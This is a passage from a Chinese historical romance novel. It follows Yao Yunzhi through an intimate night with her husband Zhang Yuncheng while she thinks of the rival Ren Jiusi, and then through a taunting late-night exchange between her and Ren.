平日里,张允承都是将她轻轻放在榻上,再小心翼翼地解开她的衣衫。可不知是不是近来他特地去研习了什么新的花样,一进屋,便将人抱到了窗台上,衔住她冰凉的唇,抵在窗上用力吮吻。 她的后背猛地撞上了窗框,窗棂冰凉的触感透过薄薄的衣衫传来,让她不由得轻颤了一下。她下意识抬手想推开张允承,却被他一把抓住了手腕,将双手桎梏在了她的身后。 张允承的呼吸渐渐急促,唇齿间的纠缠愈发深入,另一只手轻轻抚过她的腰际,挑开她的衣带,指尖微微颤抖,带着几分试探与渴望。 暖黄的烛光透过窗纸,他们的身影映在其上。 女子的身影纤细,肩头微微颤动,男子的影子高大,却低伏而下,整个身形将她笼罩其中。 当男子俯身靠近时,窗上的影子忽然放大。女子轻轻挣动,剪影如蝶翼般挣动,却被他轻而易举地束缚在怀中。 窗纸上的两道人影时而分离,时而纠缠,偶有一缕烛火明灭,影子也随之忽长忽短。 像极了一场皮影戏。 须臾,姚韫知喉头传来一声短促的闷哼。 声音很轻,和雪花扑打窗纸的哗哗声混在一起,听得不太分明。可张允承却因为这样异样的反应格外兴奋,哑声道:“你好像是头一回有这样反应。” 姚韫知别开脸,没有说话。 她并不想让张允承觉察到此刻的自己心不在焉。 她不知道自己为什么会在这个时候想到任九思。 明明憎恶他到了极点,可他的身影、他的声音、他的怀抱,甚至是他身上那股熟悉的雪松香气,都在她的脑海中挥之不去。 或许,还是因为那张脸长得太像言怀序了。 姚韫知咬紧嘴唇,喉咙里溢出一丝苦味。 五年过去,言怀序的面孔已经变得愈来愈模糊。可他在她记忆中留下的倒影,永远是那般干净无暇的模样。 她甚至觉得,在这种时候想起他,都是对他的一种亵渎。 张允承的额头渐渐渗出一层细密的汗珠,顺着他的眉骨滑下。他的胸膛剧烈起伏着,连呼吸都带着灼热的温度。他的手指紧紧扣住她的手腕,掌心湿漉漉的,汗意透过薄薄的衣衫传递到她的肌肤上,带着一种黏腻的触感。 她有些不舒服,轻轻动了动肩膀。 张允承的手掌紧紧扣住她的大腿,指尖陷入柔软的肌肤,将她整个人从窗台上抱了起来,然后踉踉跄跄地往床榻的方向走去。 他的动作愈发急切,用力得让姚韫知皱了皱眉。 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“这件事情我知道,”姚韫知轻轻闭上眼睛,语气有些疲惫,“我一向不喜欢任九思这样见风使舵,见利忘义的小人。在驸马那边吃些苦头,正好能叫他收敛一些。” “那……”张允承欲言又止。 姚韫知接着道:“其实,若不是你自作主张要将他留在府上,我是断断不会与这样的人有什么交集的。” 张允承一想,好像的确是那么回事。 当时宜宁公主将任九思带到张家的时候,姚韫知并没有要收留他的意思。反倒是自己为了缓和同宜宁公主的关系,张罗着将这个人留下。 现下不过是听了几句捕风捉影的挑拨,便转过头去猜忌妻子。 实在是太不应该了。 张允承心中有些惭愧,低声道:“正好他的病也养得差不多了。既如此,还是让他搬回到照雪庐去吧。” 姚韫知恹恹道:“你拿主意就好。” 许是了解了一桩心事,张允承很快便沉沉入眠。 姚韫知却在床榻上辗转反侧。 睁着眼睛,望了许久的天花板,她还是轻手轻脚地起身。披上外衣,推开房门时,一片寒意袭来。她紧了紧外袍,刚踏出几步,便瞧见一道熟悉的身影立在廊下。 不是任九思又是谁? 她装作没有看见,继续往前走。 任九思却迎了过去,轻笑一声道:“这才多久,张大人就让夫人独自出来散心了?” 姚韫知眉头微蹙,冷声反问:“任公子大晚上不睡觉,在这里杵着做什么?” 任九思悠悠吟道:“琴诗酒伴皆抛我,雪月花时最忆卿。” 又是这套。 姚韫知不愿与他纠缠,转身欲走,却被任九思挡住了去路。 “夫人同这样一个人在一起不觉得委屈么?” 姚韫知冷睇着他。 任九思“啧啧”两声,嘲讽道:“原以为张主簿当不好官,至少能做个好丈夫,没成想竟让夫人寂寞到深夜在此吹着寒风降火,真是让人觉得匪夷所思。” 姚韫知干笑道:“任公子莫不是吃醉了酒,怎么开口便是胡话?” “夫人取笑了,”任九思回道,“小人不过是见夫人青春貌美,却要遭受这般苦楚,替夫人感到惋惜罢了。” 姚韫知终于忍无可忍,反唇相讥道:“公子便这般关心我的房中之事?” 任九思没接话,漆黑的瞳仁中看不出任何情绪。 她朝任九思走近几步,勾起唇角,慢条斯理道:“那任公子下次再来听墙角,不妨提前知会我一声。到时候,我一定会叫得比今日更大声一些。”